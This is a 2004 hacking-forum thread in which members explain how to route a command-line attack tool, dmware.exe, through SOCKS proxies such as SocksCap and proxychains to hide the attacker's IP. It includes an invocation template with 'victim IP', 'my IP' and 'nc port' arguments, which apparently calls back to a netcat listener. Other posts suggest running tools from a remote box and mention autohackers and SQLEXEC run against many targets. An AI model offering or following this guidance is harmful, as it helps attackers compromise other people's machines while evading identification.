Forums: Running Commandline Programs Through Proxy - Forums

Jump to content

  • (2 Pages)
  • +
  • 1
  • 2
  • You cannot start a new topic
  • You cannot reply to this topic

Running Commandline Programs Through Proxy Need Feedback

#1 User is offline   Buluemoon

  • Private First Class
  • Icon
Group:
Members
Posts:
116
Joined:
19-December 03

Posted 14 March 2004 - 11:08 PM

Ok I usually use sockscap to run my programs through a socks 5 proxie.

My question:
I want to run a commandline program (example:dmware.exe) through a socks 5 proxie. Now to run dmware.exe from C:\ , I would have to open an instance of cmd.exe and type in dmware.exe "victim IP" "my IP" "nc port".

How do I get this commandline exe program that works through cmd.exe to work through a proxie?
0

#2 User is offline   Blackknight

  • Private First Class
  • Icon
Group:
Members
Posts:
129
Joined:
22-September 03

Posted 15 March 2004 - 12:11 AM

First understand how a proxy works..
Second code something that utilizes that and allows you to pipe information
then voila u can do something like
cmdproxy proxy.com dware 127.0.0.1 80
and voila it uses a proxy while runing that program
Will code if there are enough requests else.. waste of my time
0

#3 Guest_fry_*

Group:
Guests

Posted 15 March 2004 - 04:17 AM

I think alot of programs that are out could use some proxy support.I can't think of too many people who don't want proxy support in thier favorite programs.I myself have been looking forever for a sqlexec type program that has built in proxy support,I had a friend coding one but he never could get all the bugs out of the piping. :P
0

#4 User is offline   DumpZ

  • Sergeant First Class
  • Icon
Group:
Members
Posts:
356
Joined:
04-December 03

Posted 15 March 2004 - 08:01 AM

fry, on Mar 15 2004, 04:17 AM, said:

I think alot of programs that are out could use some proxy support.I can't think of too many people who don't want proxy support in thier favorite programs.I myself have been looking forever for a sqlexec type program that has built in proxy support,I had a friend coding one but he never could get all the bugs out of the piping. :P

Just use sockscap for SQLEXEC. That's how i always use it.
0

#5 User is offline   macman

  • Private First Class
  • Icon
Group:
Members
Posts:
27
Joined:
24-February 04

Posted 15 March 2004 - 10:28 AM

A linux equaivalent of this is proxychains
Can be used to "proxify" most programs. quite good IMHO
0

#6 User is offline   bah

  • Private First Class
  • Icon
Group:
Members
Posts:
80
Joined:
01-January 04

Posted 15 March 2004 - 10:32 AM

You can run any prog wether cmd line or not through socks 5 eg the favourite NC

go to file new add name
browse to exe
then add working path

porfile Name DM
command line C:\dmware.exe "victim IP" "my IP" "nc port".
working dir C:\

that will then route it through the socks cap.

SOCKS cap works fine for me for all cmd line progs
0

#7 User is offline   Blackknight

  • Private First Class
  • Icon
Group:
Members
Posts:
129
Joined:
22-September 03

Posted 15 March 2004 - 10:33 AM

lol i take it your friend can't code..
its quite simple :)
0

#8 User is offline   Buluemoon

  • Private First Class
  • Icon
Group:
Members
Posts:
116
Joined:
19-December 03

Posted 15 March 2004 - 02:31 PM

@ bah, I understand how to add a program to socks cap, but when using it with a command line program like dmware.exe which has to be opened with cmd.exe. If you point cmd.exe to your dmware.exe it is not running through sockscap.

You would have to somehow cmd.exe -----> sockscap ------> dmware.exe

I have tried setting up cmd.exe in sockscap and then using it to open dmware.exe but am not sure it is running through the proxy.
0

#9 User is offline   bah

  • Private First Class
  • Icon
Group:
Members
Posts:
80
Joined:
01-January 04

Posted 15 March 2004 - 04:16 PM

Yes I c what u mean now,

My suggestion would b to run the prog from a box at the cmd prompt
which wouldnt reveal the ip u trying to hide. U can also make a batch file
to run on a remote box
0

#10 User is offline   DumpZ

  • Sergeant First Class
  • Icon
Group:
Members
Posts:
356
Joined:
04-December 03

Posted 15 March 2004 - 04:37 PM

If u try to proxy your cmd.exe you can only hide your ip for those functions within cmd.exe but for example ftp.exe is an separate program which is called into cmd.exe therefore it isn't going thru socks
0

#11 User is offline   FakoLy

  • Corporal
  • Icon
Group:
Members
Posts:
155
Joined:
29-November 03

Posted 15 March 2004 - 05:17 PM

Blackknight, on Mar 15 2004, 12:11 AM, said:

Will code if there are enough requests else.. waste of my time

Well then I add a Request ^^ :)
Such a little program is really usefull would be really nice if you could code this !!
Regards
0

#12 User is offline   Buluemoon

  • Private First Class
  • Icon
Group:
Members
Posts:
116
Joined:
19-December 03

Posted 15 March 2004 - 09:39 PM

Most people do not even realize when they are using these autohackers and such, they are not protected at all. I definately would like to see someone code a program that allows the use of these command line programs through a socks.

Or if anyone knows how to point to a program that has been set up to run through socks cap, via cmd.exe.

cmd.exe -----> sockscap -------> dmware.exe

Doesnt have to be socks cap if something else will work.
I am still searching for an answer and will post anything I find that may do the job. Thanks for the feed back.
0

#13 User is offline   Buluemoon

  • Private First Class
  • Icon
Group:
Members
Posts:
116
Joined:
19-December 03

Posted 16 March 2004 - 04:31 PM

Well I am having no luck finding a solution to this, it was mentioned that it would be very easy to code a program to do this, I am learning python but not advanced enough to even understand how it would be done.

Will keep searching.
0

#14 User is offline   macman

  • Private First Class
  • Icon
Group:
Members
Posts:
27
Joined:
24-February 04

Posted 17 March 2004 - 09:36 AM

"See the help file in the section about creating shortcuts. The
syntax for command line is the same as what you'd put in a shortcut."

google result no. 2 for "sockscap command line" :)
What about pointing directly to dameware.exe with the reuired arguments, bypassing the command prompt?!
0

#15 User is offline   Buluemoon

  • Private First Class
  • Icon
Group:
Members
Posts:
116
Joined:
19-December 03

Posted 17 March 2004 - 02:38 PM

Quote

What about pointing directly to dameware.exe with the reuired arguments, bypassing the command prompt?!


If you do it this way (pointing directly to dameware.exe with the reuired arguments) then you have to enter each Ip as part of the command line and do it one at a time, ie set each one up in sockscap with the parameters then change it for the next IP. Very tedious.
0

  • (2 Pages)
  • +
  • 1
  • 2
  • You cannot start a new topic
  • You cannot reply to this topic

1 User(s) are reading this topic
0 members, 1 guests, 0 anonymous users